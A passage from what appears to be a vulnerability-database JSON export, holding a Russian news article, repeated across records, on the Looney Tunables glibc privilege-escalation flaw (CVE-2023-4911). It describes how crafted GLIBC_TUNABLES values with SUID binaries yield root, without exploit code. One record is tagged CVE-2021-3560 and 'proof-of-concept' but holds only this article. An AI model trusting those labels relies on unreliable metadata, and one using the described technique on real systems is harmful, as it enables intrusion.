\u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u043e\u043c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f GLIBC_TUNABLES. \u0424\u0438\u0440\u043c\u0430 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Qualys, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0448\u0438\u0431\u043a\u0438, \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0432\u0432\u0435\u0434\u0435\u043d\u0430 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u043a\u043e\u0434\u0430, \u0441\u0434\u0435\u043b\u0430\u043d\u043d\u043e\u0439 \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2021 \u0433\u043e\u0434\u0430.\n\n\u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 GNU C, \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u0430\u044f glibc, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u043e\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u043d\u0430 \u0431\u0430\u0437\u0435 Linux, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a open, read, write, malloc, printf, getaddrinfo, dlopen, pthread_create, crypt, login \u0438 exit.\n\n\u0414\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a glibc \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0430\u0436\u043d\u0435\u0439\u0448\u0438\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0443 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043f\u043e\u0438\u0441\u043a \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0445 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0442 \u043e\u0431\u0449\u0438\u0445 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0438\u0445 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u0438 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u043d\u0438\u0435 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b Linux, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a Fedora 37 \u0438 38, Ubuntu 22.04 \u0438 23.04 \u0438 Debian 12 \u0438 13, \u0445\u043e\u0442\u044f \u0434\u0440\u0443\u0433\u0438\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b. \u041e\u0434\u043d\u0438\u043c \u0438\u0437 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0445 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f Alpine Linux, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 musl libc \u0432\u043c\u0435\u0441\u0442\u043e glibc.\n\n\"\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u043e\u043c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f GLIBC_TUNABLES \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0440\u0438\u0441\u043a\u0438 \u0434\u043b\u044f \u043c\u043d\u043e\u0433\u0438\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 Linux\", - \u0441\u043a\u0430\u0437\u0430\u043b \u0421\u0430\u0438\u0434 \u0410\u0431\u0431\u0430\u0441\u0438, \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u043f\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u043c \u0432 Qualys Threat Research Unit.\n\n\"\u042d\u0442\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u044b, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u0430\u044f \u0434\u043b\u044f \u0442\u043e\u043d\u043a\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 glibc, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0430\u0436\u043d\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432. \u0415\u0433\u043e \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 \u0448\u0438\u0440\u043e\u043a\u043e\u043c \u0441\u043c\u044b\u0441\u043b\u0435 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u043d\u0430\u0434\u0435\u0436\u043d\u043e\u0441\u0442\u044c \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b\".\n\n\u0412 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 Red Hat, \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f, \u0447\u0442\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u0438\u043c \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f GLIBC_TUNABLES \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c SUID \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n\u042d\u0442\u043e \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u043b\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0435 \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435, \u043a\u043e\u0433\u0434\u0430 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043e, \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442 \u043b\u044e\u0431\u0443\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 setuid, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c\u0443\u044e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e GLIBC_TUNABLES \u0432 \u0441\u0440\u0435\u0434\u0435.\n\nLooney Tunables \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u043c \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a \u0440\u0430\u0441\u0442\u0443\u0449\u0435\u043c\u0443 \u0441\u043f\u0438\u0441\u043a\u0443 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 Linux \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0433\u043e\u0434\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f CVE-2021-3156 (Baron Samedit), CVE-2021-3560, CVE-2021-33909 (Sequoia) \u0438 CVE-2021-4034 (PwnKit), \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0440\u0443\u0436\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0430\u0432.\nhttps://thehackernews.com/2023/10/looney-tunables-new-linux-flaw-enables.html", "creation_timestamp": "2026-07-17T11:00:09.112850Z"}, {"uuid": "0c0cf75a-8b7c-4cac-b869-344dd1c399b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/115", "content": "Looney Tunables: \u041d\u043e\u0432\u044b\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a Linux \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445\n\n\u041d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Linux, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 Looney Tunables, \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 GNU C ld.so. \u0414\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0443 \u0443\u0433\u0440\u043e\u0437\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2023-4911 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7.8), \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u0431\u0443\u0444\u0435\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u043e\u043c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f GLIBC_TUNABLES. \u0424\u0438\u0440\u043c\u0430 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Qualys, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0448\u0438\u0431\u043a\u0438, \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0432\u0432\u0435\u0434\u0435\u043d\u0430 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u043a\u043e\u0434\u0430, \u0441\u0434\u0435\u043b\u0430\u043d\u043d\u043e\u0439 \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2021 \u0433\u043e\u0434\u0430.\n\n\u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 GNU C, \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u0430\u044f glibc, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u043e\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u043d\u0430 \u0431\u0430\u0437\u0435 Linux, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a open, read, write, malloc, printf, getaddrinfo, dlopen, pthread_create, crypt, login \u0438 exit.\n\n\u0414\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a glibc \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0430\u0436\u043d\u0435\u0439\u0448\u0438\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0443 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043f\u043e\u0438\u0441\u043a \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0445 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0442 \u043e\u0431\u0449\u0438\u0445 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0438\u0445 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u0438 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u043d\u0438\u0435 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b Linux, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a Fedora 37 \u0438 38, Ubuntu 22.04 \u0438 23.04 \u0438 Debian 12 \u0438 13, \u0445\u043e\u0442\u044f \u0434\u0440\u0443\u0433\u0438\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b. \u041e\u0434\u043d\u0438\u043c \u0438\u0437 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0445 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f Alpine Linux, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 musl libc \u0432\u043c\u0435\u0441\u0442\u043e glibc.\n\n\"\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u043e\u043c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f GLIBC_TUNABLES \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0440\u0438\u0441\u043a\u0438 \u0434\u043b\u044f \u043c\u043d\u043e\u0433\u0438\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 Linux\", - \u0441\u043a\u0430\u0437\u0430\u043b \u0421\u0430\u0438\u0434 \u0410\u0431\u0431\u0430\u0441\u0438, \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u043f\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u043c \u0432 Qualys Threat Research Unit.\n\n\"\u042d\u0442\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u044b, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u0430\u044f \u0434\u043b\u044f \u0442\u043e\u043d\u043a\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 glibc, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0430\u0436\u043d\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432. \u0415\u0433\u043e \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 \u0448\u0438\u0440\u043e\u043a\u043e\u043c \u0441\u043c\u044b\u0441\u043b\u0435 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u043d\u0430\u0434\u0435\u0436\u043d\u043e\u0441\u0442\u044c \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b\".\n\n\u0412 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 Red Hat, \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f, \u0447\u0442\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u0438\u043c \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f GLIBC_TUNABLES \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c SUID \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n\u042d\u0442\u043e \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u043b\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0435 \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435, \u043a\u043e\u0433\u0434\u0430 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043e, \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442 \u043b\u044e\u0431\u0443\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 setuid, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c\u0443\u044e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e GLIBC_TUNABLES \u0432 \u0441\u0440\u0435\u0434\u0435.\n\nLooney Tunables \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u043c \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a \u0440\u0430\u0441\u0442\u0443\u0449\u0435\u043c\u0443 \u0441\u043f\u0438\u0441\u043a\u0443 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 Linux \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0433\u043e\u0434\u044b, 